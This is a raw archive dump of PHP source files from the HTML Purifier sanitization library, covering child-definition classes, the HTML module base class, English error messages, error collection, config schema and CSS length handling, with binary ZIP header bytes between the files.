trigger_error("Cannot allow ul/ol without allowing li", E_USER_WARNING);
return false;
}
// the new set of children
$result = array();
// a little sanity check to make sure it's not ALL whitespace
$all_whitespace = true;
$current_li = null;
foreach ($children as $node) {
if (!empty($node->is_whitespace)) {
$result[] = $node;
continue;
}
$all_whitespace = false; // phew, we're not talking about whitespace
if ($node->name === 'li') {
// good
$current_li = $node;
$result[] = $node;
} else {
// we want to tuck this into the previous li
// Invariant: we expect the node to be ol/ul
// ToDo: Make this more robust in the case of not ol/ul
// by distinguishing between existing li and li created
// to handle non-list elements; non-list elements should
// not be appended to an existing li; only li created
// for non-list. This distinction is not currently made.
if ($current_li === null) {
$current_li = new HTMLPurifier_Node_Element('li');
$result[] = $current_li;
}
$current_li->children[] = $node;
$current_li->empty = false; // XXX fascinating! Check for this error elsewhere ToDo
}
}
if (empty($result)) {
return false;
}
if ($all_whitespace) {
return false;
}
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$Z�)�� � 7 htmlpurifier/library/HTMLPurifier/ChildDef/Optional.phpnu �[��� <?php
/**
* Definition that allows a set of elements, and allows no children.
* @note This is a hack to reuse code from HTMLPurifier_ChildDef_Required,
* really, one shouldn't inherit from the other. Only altered behavior
* is to overload a returned false with an array. Thus, it will never
* return false.
*/
class HTMLPurifier_ChildDef_Optional extends HTMLPurifier_ChildDef_Required
{
/**
* @type bool
*/
public $allow_empty = true;
/**
* @type string
*/
public $type = 'optional';
/**
* @param array $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
$result = parent::validateChildren($children, $config, $context);
// we assume that $children is not modified
if ($result === false) {
if (empty($children)) {
return true;
} elseif ($this->whitespace) {
return $children;
} else {
return array();
}
}
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$Z���
7 htmlpurifier/library/HTMLPurifier/ChildDef/Required.phpnu �[��� <?php
/**
* Definition that allows a set of elements, but disallows empty children.
*/
class HTMLPurifier_ChildDef_Required extends HTMLPurifier_ChildDef
{
/**
* Lookup table of allowed elements.
* @type array
*/
public $elements = array();
/**
* Whether or not the last passed node was all whitespace.
* @type bool
*/
protected $whitespace = false;
/**
* @param array|string $elements List of allowed element names (lowercase).
*/
public function __construct($elements)
{
if (is_string($elements)) {
$elements = str_replace(' ', '', $elements);
$elements = explode('|', $elements);
}
$keys = array_keys($elements);
if ($keys == array_keys($keys)) {
$elements = array_flip($elements);
foreach ($elements as $i => $x) {
$elements[$i] = true;
if (empty($i)) {
unset($elements[$i]);
} // remove blank
}
}
$this->elements = $elements;
}
/**
* @type bool
*/
public $allow_empty = false;
/**
* @type string
*/
public $type = 'required';
/**
* @param array $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function validateChildren($children, $config, $context)
{
// Flag for subclasses
$this->whitespace = false;
// if there are no tokens, delete parent node
if (empty($children)) {
return false;
}
// the new set of children
$result = array();
// whether or not parsed character data is allowed
// this controls whether or not we silently drop a tag
// or generate escaped HTML from it
$pcdata_allowed = isset($this->elements['#PCDATA']);
// a little sanity check to make sure it's not ALL whitespace
$all_whitespace = true;
$stack = array_reverse($children);
while (!empty($stack)) {
$node = array_pop($stack);
if (!empty($node->is_whitespace)) {
$result[] = $node;
continue;
}
$all_whitespace = false; // phew, we're not talking about whitespace
if (!isset($this->elements[$node->name])) {
// special case text
// XXX One of these ought to be redundant or something
if ($pcdata_allowed && $node instanceof HTMLPurifier_Node_Text) {
$result[] = $node;
continue;
}
// spill the child contents in
// ToDo: Make configurable
if ($node instanceof HTMLPurifier_Node_Element) {
for ($i = count($node->children) - 1; $i >= 0; $i--) {
$stack[] = $node->children[$i];
}
continue;
}
continue;
}
$result[] = $node;
}
if (empty($result)) {
return false;
}
if ($all_whitespace) {
$this->whitespace = true;
return false;
}
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$Z��+ӭ
�
5 htmlpurifier/library/HTMLPurifier/ChildDef/Custom.phpnu �[��� <?php
/**
* Custom validation class, accepts DTD child definitions
*
* @warning Currently this class is an all or nothing proposition, that is,
* it will only give a bool return value.
*/
class HTMLPurifier_ChildDef_Custom extends HTMLPurifier_ChildDef
{
/**
* @type string
*/
public $type = 'custom';
/**
* @type bool
*/
public $allow_empty = false;
/**
* Allowed child pattern as defined by the DTD.
* @type string
*/
public $dtd_regex;
/**
* PCRE regex derived from $dtd_regex.
* @type string
*/
private $_pcre_regex;
/**
* @param $dtd_regex Allowed child pattern from the DTD
*/
public function __construct($dtd_regex)
{
$this->dtd_regex = $dtd_regex;
$this->_compileRegex();
}
/**
* Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex)
*/
protected function _compileRegex()
{
$raw = str_replace(' ', '', $this->dtd_regex);
if ($raw[0] != '(') {
$raw = "($raw)";
}
$el = '[#a-zA-Z0-9_.-]+';
$reg = $raw;
// COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M
// DOING! Seriously: if there's problems, please report them.
// collect all elements into the $elements array
preg_match_all("/$el/", $reg, $matches);
foreach ($matches[0] as $match) {
$this->elements[$match] = true;
}
// setup all elements as parentheticals with leading commas
$reg = preg_replace("/$el/", '(,\\0)', $reg);
// remove commas when they were not solicited
$reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg);
// remove all non-paranthetical commas: they are handled by first regex
$reg = preg_replace("/,\(/", '(', $reg);
$this->_pcre_regex = $reg;
}
/**
* @param HTMLPurifier_Node[] $children
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function validateChildren($children, $config, $context)
{
$list_of_children = '';
$nesting = 0; // depth into the nest
foreach ($children as $node) {
if (!empty($node->is_whitespace)) {
continue;
}
$list_of_children .= $node->name . ',';
}
// add leading comma to deal with stray comma declarations
$list_of_children = ',' . rtrim($list_of_children, ',');
$okay =
preg_match(
'/^,?' . $this->_pcre_regex . '$/',
$list_of_children
);
return (bool)$okay;
}
}
// vim: et sw=4 sts=4
PK j�$Z�1�W�' �' 0 htmlpurifier/library/HTMLPurifier/HTMLModule.phpnu �[��� <?php
/**
* Represents an XHTML 1.1 module, with information on elements, tags
* and attributes.
* @note Even though this is technically XHTML 1.1, it is also used for
* regular HTML parsing. We are using modulization as a convenient
* way to represent the internals of HTMLDefinition, and our
* implementation is by no means conforming and does not directly
* use the normative DTDs or XML schemas.
* @note The public variables in a module should almost directly
* correspond to the variables in HTMLPurifier_HTMLDefinition.
* However, the prefix info carries no special meaning in these
* objects (include it anyway if that's the correspondence though).
* @todo Consider making some member functions protected
*/
class HTMLPurifier_HTMLModule
{
// -- Overloadable ----------------------------------------------------
/**
* Short unique string identifier of the module.
* @type string
*/
public $name;
/**
* Informally, a list of elements this module changes.
* Not used in any significant way.
* @type array
*/
public $elements = array();
/**
* Associative array of element names to element definitions.
* Some definitions may be incomplete, to be merged in later
* with the full definition.
* @type array
*/
public $info = array();
/**
* Associative array of content set names to content set additions.
* This is commonly used to, say, add an A element to the Inline
* content set. This corresponds to an internal variable $content_sets
* and NOT info_content_sets member variable of HTMLDefinition.
* @type array
*/
public $content_sets = array();
/**
* Associative array of attribute collection names to attribute
* collection additions. More rarely used for adding attributes to
* the global collections. Example is the StyleAttribute module adding
* the style attribute to the Core. Corresponds to HTMLDefinition's
* attr_collections->info, since the object's data is only info,
* with extra behavior associated with it.
* @type array
*/
public $attr_collections = array();
/**
* Associative array of deprecated tag name to HTMLPurifier_TagTransform.
* @type array
*/
public $info_tag_transform = array();
/**
* List of HTMLPurifier_AttrTransform to be performed before validation.
* @type array
*/
public $info_attr_transform_pre = array();
/**
* List of HTMLPurifier_AttrTransform to be performed after validation.
* @type array
*/
public $info_attr_transform_post = array();
/**
* List of HTMLPurifier_Injector to be performed during well-formedness fixing.
* An injector will only be invoked if all of it's pre-requisites are met;
* if an injector fails setup, there will be no error; it will simply be
* silently disabled.
* @type array
*/
public $info_injector = array();
/**
* Boolean flag that indicates whether or not getChildDef is implemented.
* For optimization reasons: may save a call to a function. Be sure
* to set it if you do implement getChildDef(), otherwise it will have
* no effect!
* @type bool
*/
public $defines_child_def = false;
/**
* Boolean flag whether or not this module is safe. If it is not safe, all
* of its members are unsafe. Modules are safe by default (this might be
* slightly dangerous, but it doesn't make much sense to force HTML Purifier,
* which is based off of safe HTML, to explicitly say, "This is safe," even
* though there are modules which are "unsafe")
*
* @type bool
* @note Previously, safety could be applied at an element level granularity.
* We've removed this ability, so in order to add "unsafe" elements
* or attributes, a dedicated module with this property set to false
* must be used.
*/
public $safe = true;
/**
* Retrieves a proper HTMLPurifier_ChildDef subclass based on
* content_model and content_model_type member variables of
* the HTMLPurifier_ElementDef class. There is a similar function
* in HTMLPurifier_HTMLDefinition.
* @param HTMLPurifier_ElementDef $def
* @return HTMLPurifier_ChildDef subclass
*/
public function getChildDef($def)
{
return false;
}
// -- Convenience -----------------------------------------------------
/**
* Convenience function that sets up a new element
* @param string $element Name of element to add
* @param string|bool $type What content set should element be registered to?
* Set as false to skip this step.
* @param string|HTMLPurifier_ChildDef $contents Allowed children in form of:
* "$content_model_type: $content_model"
* @param array|string $attr_includes What attribute collections to register to
* element?
* @param array $attr What unique attributes does the element define?
* @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters.
* @return HTMLPurifier_ElementDef Created element definition object, so you
* can set advanced parameters
*/
public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array())
{
$this->elements[] = $element;
// parse content_model
list($content_model_type, $content_model) = $this->parseContents($contents);
// merge in attribute inclusions
$this->mergeInAttrIncludes($attr, $attr_includes);
// add element to content sets
if ($type) {
$this->addElementToContentSet($element, $type);
}
// create element
$this->info[$element] = HTMLPurifier_ElementDef::create(
$content_model,
$content_model_type,
$attr
);
// literal object $contents means direct child manipulation
if (!is_string($contents)) {
$this->info[$element]->child = $contents;
}
return $this->info[$element];
}
/**
* Convenience function that creates a totally blank, non-standalone
* element.
* @param string $element Name of element to create
* @return HTMLPurifier_ElementDef Created element
*/
public function addBlankElement($element)
{
if (!isset($this->info[$element])) {
$this->elements[] = $element;
$this->info[$element] = new HTMLPurifier_ElementDef();
$this->info[$element]->standalone = false;
} else {
trigger_error("Definition for $element already exists in module, cannot redefine");
}
return $this->info[$element];
}
/**
* Convenience function that registers an element to a content set
* @param string $element Element to register
* @param string $type Name content set (warning: case sensitive, usually upper-case
* first letter)
*/
public function addElementToContentSet($element, $type)
{
if (!isset($this->content_sets[$type])) {
$this->content_sets[$type] = '';
} else {
$this->content_sets[$type] .= ' | ';
}
$this->content_sets[$type] .= $element;
}
/**
* Convenience function that transforms single-string contents
* into separate content model and content model type
* @param string $contents Allowed children in form of:
* "$content_model_type: $content_model"
* @return array
* @note If contents is an object, an array of two nulls will be
* returned, and the callee needs to take the original $contents
* and use it directly.
*/
public function parseContents($contents)
{
if (!is_string($contents)) {
return array(null, null);
} // defer
switch ($contents) {
// check for shorthand content model forms
case 'Empty':
return array('empty', '');
case 'Inline':
return array('optional', 'Inline | #PCDATA');
case 'Flow':
return array('optional', 'Flow | #PCDATA');
}
list($content_model_type, $content_model) = explode(':', $contents);
$content_model_type = strtolower(trim($content_model_type));
$content_model = trim($content_model);
return array($content_model_type, $content_model);
}
/**
* Convenience function that merges a list of attribute includes into
* an attribute array.
* @param array $attr Reference to attr array to modify
* @param array $attr_includes Array of includes / string include to merge in
*/
public function mergeInAttrIncludes(&$attr, $attr_includes)
{
if (!is_array($attr_includes)) {
if (empty($attr_includes)) {
$attr_includes = array();
} else {
$attr_includes = array($attr_includes);
}
}
$attr[0] = $attr_includes;
}
/**
* Convenience function that generates a lookup table with boolean
* true as value.
* @param string $list List of values to turn into a lookup
* @note You can also pass an arbitrary number of arguments in
* place of the regular argument
* @return array array equivalent of list
*/
public function makeLookup($list)
{
if (is_string($list)) {
$list = func_get_args();
}
$ret = array();
foreach ($list as $value) {
if (is_null($value)) {
continue;
}
$ret[$value] = true;
}
return $ret;
}
/**
* Lazy load construction of the module after determining whether
* or not it's needed, and also when a finalized configuration object
* is available.
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
}
}
// vim: et sw=4 sts=4
PK j�$Z�"7t� � : htmlpurifier/library/HTMLPurifier/Language/messages/en.phpnu �[��� <?php
$fallback = false;
$messages = array(
'HTMLPurifier' => 'HTML Purifier',
// for unit testing purposes
'LanguageFactoryTest: Pizza' => 'Pizza',
'LanguageTest: List' => '$1',
'LanguageTest: Hash' => '$1.Keys; $1.Values',
'Item separator' => ', ',
'Item separator last' => ' and ', // non-Harvard style
'ErrorCollector: No errors' => 'No errors detected. However, because error reporting is still incomplete, there may have been errors that the error collector was not notified of; please inspect the output HTML carefully.',
'ErrorCollector: At line' => ' at line $line',
'ErrorCollector: Incidental errors' => 'Incidental errors',
'Lexer: Unclosed comment' => 'Unclosed comment',
'Lexer: Unescaped lt' => 'Unescaped less-than sign (<) should be <',
'Lexer: Missing gt' => 'Missing greater-than sign (>), previous less-than sign (<) should be escaped',
'Lexer: Missing attribute key' => 'Attribute declaration has no key',
'Lexer: Missing end quote' => 'Attribute declaration has no end quote',
'Lexer: Extracted body' => 'Removed document metadata tags',
'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized',
'Strategy_RemoveForeignElements: Missing required attribute' => '$CurrentToken.Compact element missing required attribute $1',
'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text',
'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed',
'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed',
'Strategy_RemoveForeignElements: Foreign meta element removed' => 'Unrecognized $CurrentToken.Serialized meta tag and all descendants removed',
'Strategy_RemoveForeignElements: Token removed to end' => 'Tags and text starting from $1 element where removed to end',
'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' => 'Trailing hyphen(s) in comment removed',
'Strategy_RemoveForeignElements: Hyphens in comment collapsed' => 'Double hyphens in comments are not allowed, and were collapsed into single hyphens',
'Strategy_MakeWellFormed: Unnecessary end tag removed' => 'Unnecessary $CurrentToken.Serialized tag removed',
'Strategy_MakeWellFormed: Unnecessary end tag to text' => 'Unnecessary $CurrentToken.Serialized tag converted to text',
'Strategy_MakeWellFormed: Tag auto closed' => '$1.Compact started on line $1.Line auto-closed by $CurrentToken.Compact',
'Strategy_MakeWellFormed: Tag carryover' => '$1.Compact started on line $1.Line auto-continued into $CurrentToken.Compact',
'Strategy_MakeWellFormed: Stray end tag removed' => 'Stray $CurrentToken.Serialized tag removed',
'Strategy_MakeWellFormed: Stray end tag to text' => 'Stray $CurrentToken.Serialized tag converted to text',
'Strategy_MakeWellFormed: Tag closed by element end' => '$1.Compact tag started on line $1.Line closed by end of $CurrentToken.Serialized',
'Strategy_MakeWellFormed: Tag closed by document end' => '$1.Compact tag started on line $1.Line closed by end of document',
'Strategy_FixNesting: Node removed' => '$CurrentToken.Compact node removed',
'Strategy_FixNesting: Node excluded' => '$CurrentToken.Compact node removed due to descendant exclusion by ancestor element',
'Strategy_FixNesting: Node reorganized' => 'Contents of $CurrentToken.Compact node reorganized to enforce its content model',
'Strategy_FixNesting: Node contents removed' => 'Contents of $CurrentToken.Compact node removed',
'AttrValidator: Attributes transformed' => 'Attributes on $CurrentToken.Compact transformed from $1.Keys to $2.Keys',
'AttrValidator: Attribute removed' => '$CurrentAttr.Name attribute on $CurrentToken.Compact removed',
);
$errorNames = array(
E_ERROR => 'Error',
E_WARNING => 'Warning',
E_NOTICE => 'Notice'
);
// vim: et sw=4 sts=4
PK j�$Z��r�� � E htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.phpnu �[��� <?php
// private language message file for unit testing purposes
// this language file has no class associated with it
$fallback = 'en';
$messages = array(
'HTMLPurifier' => 'HTML Purifier XNone'
);
$errorNames = array();
// vim: et sw=4 sts=4
PK j�$Zz.�� � A htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.phpnu �[��� <?php
// private language message file for unit testing purposes
$fallback = 'en';
$messages = array(
'HTMLPurifier' => 'HTML Purifier X'
);
$errorNames = array();
// vim: et sw=4 sts=4
PK j�$ZB� � � @ htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.phpnu �[��� <?php
// private class for unit testing
class HTMLPurifier_Language_en_x_test extends HTMLPurifier_Language
{
}
// vim: et sw=4 sts=4
PK j�$Z�%fe e 1 htmlpurifier/library/HTMLPurifier/ErrorStruct.phpnu �[��� <?php
/**
* Records errors for particular segments of an HTML document such as tokens,
* attributes or CSS properties. They can contain error structs (which apply
* to components of what they represent), but their main purpose is to hold
* errors applying to whatever struct is being used.
*/
class HTMLPurifier_ErrorStruct
{
/**
* Possible values for $children first-key. Note that top-level structures
* are automatically token-level.
*/
const TOKEN = 0;
const ATTR = 1;
const CSSPROP = 2;
/**
* Type of this struct.
* @type string
*/
public $type;
/**
* Value of the struct we are recording errors for. There are various
* values for this:
* - TOKEN: Instance of HTMLPurifier_Token
* - ATTR: array('attr-name', 'value')
* - CSSPROP: array('prop-name', 'value')
* @type mixed
*/
public $value;
/**
* Errors registered for this structure.
* @type array
*/
public $errors = array();
/**
* Child ErrorStructs that are from this structure. For example, a TOKEN
* ErrorStruct would contain ATTR ErrorStructs. This is a multi-dimensional
* array in structure: [TYPE]['identifier']
* @type array
*/
public $children = array();
/**
* @param string $type
* @param string $id
* @return mixed
*/
public function getChild($type, $id)
{
if (!isset($this->children[$type][$id])) {
$this->children[$type][$id] = new HTMLPurifier_ErrorStruct();
$this->children[$type][$id]->type = $type;
}
return $this->children[$type][$id];
}
/**
* @param int $severity
* @param string $message
*/
public function addError($severity, $message)
{
$this->errors[] = array($severity, $message);
}
}
// vim: et sw=4 sts=4
PK j�$Z�S&� 2 htmlpurifier/library/HTMLPurifier/ConfigSchema.phpnu �[��� <?php
/**
* Configuration definition, defines directives and their defaults.
*/
class HTMLPurifier_ConfigSchema
{
/**
* Defaults of the directives and namespaces.
* @type array
* @note This shares the exact same structure as HTMLPurifier_Config::$conf
*/
public $defaults = array();
/**
* The default property list. Do not edit this property list.
* @type array
*/
public $defaultPlist;
/**
* Definition of the directives.
* The structure of this is:
*
* array(
* 'Namespace' => array(
* 'Directive' => new stdClass(),
* )
* )
*
* The stdClass may have the following properties:
*
* - If isAlias isn't set:
* - type: Integer type of directive, see HTMLPurifier_VarParser for definitions
* - allow_null: If set, this directive allows null values
* - aliases: If set, an associative array of value aliases to real values
* - allowed: If set, a lookup array of allowed (string) values
* - If isAlias is set:
* - namespace: Namespace this directive aliases to
* - name: Directive name this directive aliases to
*
* In certain degenerate cases, stdClass will actually be an integer. In
* that case, the value is equivalent to an stdClass with the type
* property set to the integer. If the integer is negative, type is
* equal to the absolute value of integer, and allow_null is true.
*
* This class is friendly with HTMLPurifier_Config. If you need introspection
* about the schema, you're better of using the ConfigSchema_Interchange,
* which uses more memory but has much richer information.
* @type array
*/
public $info = array();
/**
* Application-wide singleton
* @type HTMLPurifier_ConfigSchema
*/
protected static $singleton;
public function __construct()
{
$this->defaultPlist = new HTMLPurifier_PropertyList();
}
/**
* Unserializes the default ConfigSchema.
* @return HTMLPurifier_ConfigSchema
*/
public static function makeFromSerial()
{
$contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser');
$r = unserialize($contents);
if (!$r) {
$hash = sha1($contents);
trigger_error("Unserialization of configuration schema failed, sha1 of file was $hash", E_USER_ERROR);
}
return $r;
}
/**
* Retrieves an instance of the application-wide configuration definition.
* @param HTMLPurifier_ConfigSchema $prototype
* @return HTMLPurifier_ConfigSchema
*/
public static function instance($prototype = null)
{
if ($prototype !== null) {
HTMLPurifier_ConfigSchema::$singleton = $prototype;
} elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) {
HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial();
}
return HTMLPurifier_ConfigSchema::$singleton;
}
/**
* Defines a directive for configuration
* @warning Will fail of directive's namespace is defined.
* @warning This method's signature is slightly different from the legacy
* define() static method! Beware!
* @param string $key Name of directive
* @param mixed $default Default value of directive
* @param string $type Allowed type of the directive. See
* HTMLPurifier_VarParser::$types for allowed values
* @param bool $allow_null Whether or not to allow null values
*/
public function add($key, $default, $type, $allow_null)
{
$obj = new stdClass();
$obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type];
if ($allow_null) {
$obj->allow_null = true;
}
$this->info[$key] = $obj;
$this->defaults[$key] = $default;
$this->defaultPlist->set($key, $default);
}
/**
* Defines a directive value alias.
*
* Directive value aliases are convenient for developers because it lets
* them set a directive to several values and get the same result.
* @param string $key Name of Directive
* @param array $aliases Hash of aliased values to the real alias
*/
public function addValueAliases($key, $aliases)
{
if (!isset($this->info[$key]->aliases)) {
$this->info[$key]->aliases = array();
}
foreach ($aliases as $alias => $real) {
$this->info[$key]->aliases[$alias] = $real;
}
}
/**
* Defines a set of allowed values for a directive.
* @warning This is slightly different from the corresponding static
* method definition.
* @param string $key Name of directive
* @param array $allowed Lookup array of allowed values
*/
public function addAllowedValues($key, $allowed)
{
$this->info[$key]->allowed = $allowed;
}
/**
* Defines a directive alias for backwards compatibility
* @param string $key Directive that will be aliased
* @param string $new_key Directive that the alias will be to
*/
public function addAlias($key, $new_key)
{
$obj = new stdClass;
$obj->key = $new_key;
$obj->isAlias = true;
$this->info[$key] = $obj;
}
/**
* Replaces any stdClass that only has the type property with type integer.
*/
public function postProcess()
{
foreach ($this->info as $key => $v) {
if (count((array) $v) == 1) {
$this->info[$key] = $v->type;
} elseif (count((array) $v) == 2 && isset($v->allow_null)) {
$this->info[$key] = -$v->type;
}
}
}
}
// vim: et sw=4 sts=4
PK j�$ZAiȻ� � 4 htmlpurifier/library/HTMLPurifier/ErrorCollector.phpnu �[��� <?php
/**
* Error collection class that enables HTML Purifier to report HTML
* problems back to the user
*/
class HTMLPurifier_ErrorCollector
{
/**
* Identifiers for the returned error array. These are purposely numeric
* so list() can be used.
*/
const LINENO = 0;
const SEVERITY = 1;
const MESSAGE = 2;
const CHILDREN = 3;
/**
* @type array
*/
protected $errors;
/**
* @type array
*/
protected $_current;
/**
* @type array
*/
protected $_stacks = array(array());
/**
* @type HTMLPurifier_Language
*/
protected $locale;
/**
* @type HTMLPurifier_Generator
*/
protected $generator;
/**
* @type HTMLPurifier_Context
*/
protected $context;
/**
* @type array
*/
protected $lines = array();
/**
* @param HTMLPurifier_Context $context
*/
public function __construct($context)
{
$this->locale =& $context->get('Locale');
$this->context = $context;
$this->_current =& $this->_stacks[0];
$this->errors =& $this->_stacks[0];
}
/**
* Sends an error message to the collector for later use
* @param int $severity Error severity, PHP error style (don't use E_USER_)
* @param string $msg Error message text
*/
public function send($severity, $msg)
{
$args = array();
if (func_num_args() > 2) {
$args = func_get_args();
array_shift($args);
unset($args[0]);
}
$token = $this->context->get('CurrentToken', true);
$line = $token ? $token->line : $this->context->get('CurrentLine', true);
$col = $token ? $token->col : $this->context->get('CurrentCol', true);
$attr = $this->context->get('CurrentAttr', true);
// perform special substitutions, also add custom parameters
$subst = array();
if (!is_null($token)) {
$args['CurrentToken'] = $token;
}
if (!is_null($attr)) {
$subst['$CurrentAttr.Name'] = $attr;
if (isset($token->attr[$attr])) {
$subst['$CurrentAttr.Value'] = $token->attr[$attr];
}
}
if (empty($args)) {
$msg = $this->locale->getMessage($msg);
} else {
$msg = $this->locale->formatMessage($msg, $args);
}
if (!empty($subst)) {
$msg = strtr($msg, $subst);
}
// (numerically indexed)
$error = array(
self::LINENO => $line,
self::SEVERITY => $severity,
self::MESSAGE => $msg,
self::CHILDREN => array()
);
$this->_current[] = $error;
// NEW CODE BELOW ...
// Top-level errors are either:
// TOKEN type, if $value is set appropriately, or
// "syntax" type, if $value is null
$new_struct = new HTMLPurifier_ErrorStruct();
$new_struct->type = HTMLPurifier_ErrorStruct::TOKEN;
if ($token) {
$new_struct->value = clone $token;
}
if (is_int($line) && is_int($col)) {
if (isset($this->lines[$line][$col])) {
$struct = $this->lines[$line][$col];
} else {
$struct = $this->lines[$line][$col] = $new_struct;
}
// These ksorts may present a performance problem
ksort($this->lines[$line], SORT_NUMERIC);
} else {
if (isset($this->lines[-1])) {
$struct = $this->lines[-1];
} else {
$struct = $this->lines[-1] = $new_struct;
}
}
ksort($this->lines, SORT_NUMERIC);
// Now, check if we need to operate on a lower structure
if (!empty($attr)) {
$struct = $struct->getChild(HTMLPurifier_ErrorStruct::ATTR, $attr);
if (!$struct->value) {
$struct->value = array($attr, 'PUT VALUE HERE');
}
}
if (!empty($cssprop)) {
$struct = $struct->getChild(HTMLPurifier_ErrorStruct::CSSPROP, $cssprop);
if (!$struct->value) {
// if we tokenize CSS this might be a little more difficult to do
$struct->value = array($cssprop, 'PUT VALUE HERE');
}
}
// Ok, structs are all setup, now time to register the error
$struct->addError($severity, $msg);
}
/**
* Retrieves raw error data for custom formatter to use
*/
public function getRaw()
{
return $this->errors;
}
/**
* Default HTML formatting implementation for error messages
* @param HTMLPurifier_Config $config Configuration, vital for HTML output nature
* @param array $errors Errors array to display; used for recursion.
* @return string
*/
public function getHTMLFormatted($config, $errors = null)
{
$ret = array();
$this->generator = new HTMLPurifier_Generator($config, $this->context);
if ($errors === null) {
$errors = $this->errors;
}
// 'At line' message needs to be removed
// generation code for new structure goes here. It needs to be recursive.
foreach ($this->lines as $line => $col_array) {
if ($line == -1) {
continue;
}
foreach ($col_array as $col => $struct) {
$this->_renderStruct($ret, $struct, $line, $col);
}
}
if (isset($this->lines[-1])) {
$this->_renderStruct($ret, $this->lines[-1]);
}
if (empty($errors)) {
return '<p>' . $this->locale->getMessage('ErrorCollector: No errors') . '</p>';
} else {
return '<ul><li>' . implode('</li><li>', $ret) . '</li></ul>';
}
}
private function _renderStruct(&$ret, $struct, $line = null, $col = null)
{
$stack = array($struct);
$context_stack = array(array());
while ($current = array_pop($stack)) {
$context = array_pop($context_stack);
foreach ($current->errors as $error) {
list($severity, $msg) = $error;
$string = '';
$string .= '<div>';
// W3C uses an icon to indicate the severity of the error.
$error = $this->locale->getErrorName($severity);
$string .= "<span class=\"error e$severity\"><strong>$error</strong></span> ";
if (!is_null($line) && !is_null($col)) {
$string .= "<em class=\"location\">Line $line, Column $col: </em> ";
} else {
$string .= '<em class="location">End of Document: </em> ';
}
$string .= '<strong class="description">' . $this->generator->escape($msg) . '</strong> ';
$string .= '</div>';
// Here, have a marker for the character on the column appropriate.
// Be sure to clip extremely long lines.
//$string .= '<pre>';
//$string .= '';
//$string .= '</pre>';
$ret[] = $string;
}
foreach ($current->children as $array) {
$context[] = $current;
$stack = array_merge($stack, array_reverse($array, true));
for ($i = count($array); $i > 0; $i--) {
$context_stack[] = $context;
}
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Z ��D , htmlpurifier/library/HTMLPurifier/Length.phpnu �[��� <?php
/**
* Represents a measurable length, with a string numeric magnitude
* and a unit. This object is immutable.
*/
class HTMLPurifier_Length
{
/**
* String numeric magnitude.
* @type string
*/
protected $n;
/**
* String unit. False is permitted if $n = 0.
* @type string|bool
*/
protected $unit;
/**
* Whether or not this length is valid. Null if not calculated yet.
* @type bool
*/
protected $isValid;
/**
* Array Lookup array of units recognized by CSS 3
* @type array
*/
protected static $allowedUnits = array(
'em' => true, 'ex' => true, 'px' => true, 'in' => true,
'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true,
'ch' => true, 'rem' => true, 'vw' => true, 'vh' => true,
'vmin' => true, 'vmax' => true
);
/**
* @param string $n Magnitude
* @param bool|string $u Unit
*/
public function __construct($n = '0', $u = false)
{
$this->n = (string) $n;
$this->unit = $u !== false ? (string) $u : false;
}
/**
* @param string $s Unit string, like '2em' or '3.4in'
* @return HTMLPurifier_Length
* @warning Does not perform validation.
*/
public static function make($s)
{
if ($s instanceof HTMLPurifier_Length) {
return $s;
}
$n_length = strspn($s, '1234567890.+-');
$n = substr($s, 0, $n_length);
$unit = substr($s, $n_length);
if ($unit === '') {
$unit = false;
}
return new HTMLPurifier_Length($n, $unit);
}
/**
* Validates the number and unit.
* @return bool
*/
protected function validate()
{
// Special case:
if ($this->n === '+0' || $this->n === '-0') {
$this->n = '0';
}
if ($this->n === '0' && $this->unit === false) {
return true;
}
if (!ctype_lower($this->unit)) {
$this->unit = strtolower($this->unit);
}
if (!isset(HTMLPurifier_Length::$allowedUnits[$this->unit])) {
return false;
}
// Hack:
$def = new HTMLPurifier_AttrDef_CSS_Number();
$result = $def->validate($this->n, false, false);
if ($result === false) {
return false;
}
$this->n = $result;
return true;
}
/**
* Returns string representation of number.
* @return string
*/
public function toString()
{
if (!$this->isValid()) {
return false;
}
return $this->n . $this->unit;
}
/**
* Retrieves string numeric magnitude.
* @return string
*/
public function getN()
{
return $this->n;
}
/**
* Retrieves string unit.
* @return string
*/
public function getUnit()
{
return $this->unit;
}
/**
* Returns true if this length unit is valid.
* @return bool
*/
public function isValid()
{
if ($this->isValid === null) {
$this->isValid = $this->validate();
}
return $this->isValid;
}
/**
* Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal.
* @param HTMLPurifier_Length $l
* @return int
* @warning If both values are too large or small, this calculation will
* not work properly
*/
public function compareTo($l)
{
if ($l === false) {
return false;
}
if ($l->unit !== $this->unit) {
$converter = new HTMLPurifier_UnitConverter();
$l = $converter->convert($l, $this->unit);
if ($l === false) {
return false;
}
}
return $this->n - $l->n;
}
}
// vim: et sw=4 sts=4
PK j�$ZB� - - 8 htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.cssnu �[���
.hp-config {}
.hp-config tbody th {text-align:right; padding-right:0.5em;}
